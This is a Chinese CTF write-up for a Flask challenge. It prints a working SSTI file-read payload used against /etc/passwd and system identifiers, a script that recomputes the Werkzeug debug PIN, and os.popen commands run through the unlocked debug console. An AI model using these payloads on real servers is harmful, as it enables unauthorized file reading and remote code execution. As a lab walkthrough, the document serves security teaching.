考点:SSTI-Flask、Flask Debug模式、Flask PIN码
参考:
[题解]https://www.cnblogs.com/MisakaYuii-Z/p/12407760.html
[Flask Debug RCE利用]https://zhuanlan.zhihu.com/p/32138231
[Flask Debug PIN码生成机制]https://www.cnblogs.com/HacTF/p/8160076.html
1.获取提示
URL:/hint
提示:失败乃成功之母!!
指的是Debug模式,则需利用Flask Debug模式
2.获取报错信息
URL:/decode
base64解密界面随意输入字符串,导致解码报错,进入Debug页面,尝试进入Debug Console,发现需要PIN码
得到如下信息
- Python版本:3.7
- 文件地址:/usr/local/lib/python3.7/site-packages/flask/app.py
- 可能存在SSTI,来源(Debug源码泄露) :return self.view_functions[rule.endpoint](**req.view_args)
2.SSTI读取关键文件
2-1 SSTI读取文件
由于是Python 3.7,框架为Flask,我们使用的exp如下(其中filename为想要读取的文件)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
base64加密后,放入题目中解密即可
2-2 必须的信息
通过PIN码生成机制可知,需要获取如下信息
- 服务器运行flask所登录的用户名。通过/etc/passwd中可以猜测为flaskweb 或者root,此处用的flaskweb
- modname。一般不变就是flask.app
- getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask,该值一般不变
- flask库下app.py的绝对路径。报错信息会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py
- 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address 获取(eth0为网卡名),本题为02:42:ae:01:0d:25,转换后为2485410401573
- 机器的id
mac地址转换代码
mac ='02:42:ae:01:0d:25'.replace(':','') print(int(mac,base=16))
2-3 获取机器的ID
对于非docker机每一个机器都会有自已唯一的id
Linux:/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件
Windows:阅读参考链接
docker机:/proc/self/cgroup
本题读取到/proc/self/cgroup如下
则ID为:eae9f0aef8927b35634c408aa2e4e4177e4f48ff536a8187682d62f1b0143990
3.计算PIN码
生成文件路径:{Python Lib根目录}site-packageswerkzeugdebug\__init__.py
本题中路径:/usr/local/lib/python3.7/site-packages/werkzeug/debug/__init__.py (读取失败)
改为下载Flask源码进行研究,通关精简,最后的生成代码如下
import hashlib from itertools import chain probably_public_bits = [ 'flaskweb',#服务器运行flask所登录的用户名 'flask.app',#modname 'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__) '/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径 ] private_bits = [ '2485410401573',#当前网络的mac地址的十进制数 'eae9f0aef8927b35634c408aa2e4e4177e4f48ff536a8187682d62f1b0143990'#机器的id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
计算得到ID为 147-718-817
4.寻找Flag
由于无法直接获取到程序回显,使用 os.popen("exp").read() 代替 os.system("exp")
os.popen("ls -l /").read() os.popen("cat /this_is_the_flag.txt").read()
成功读取到Flag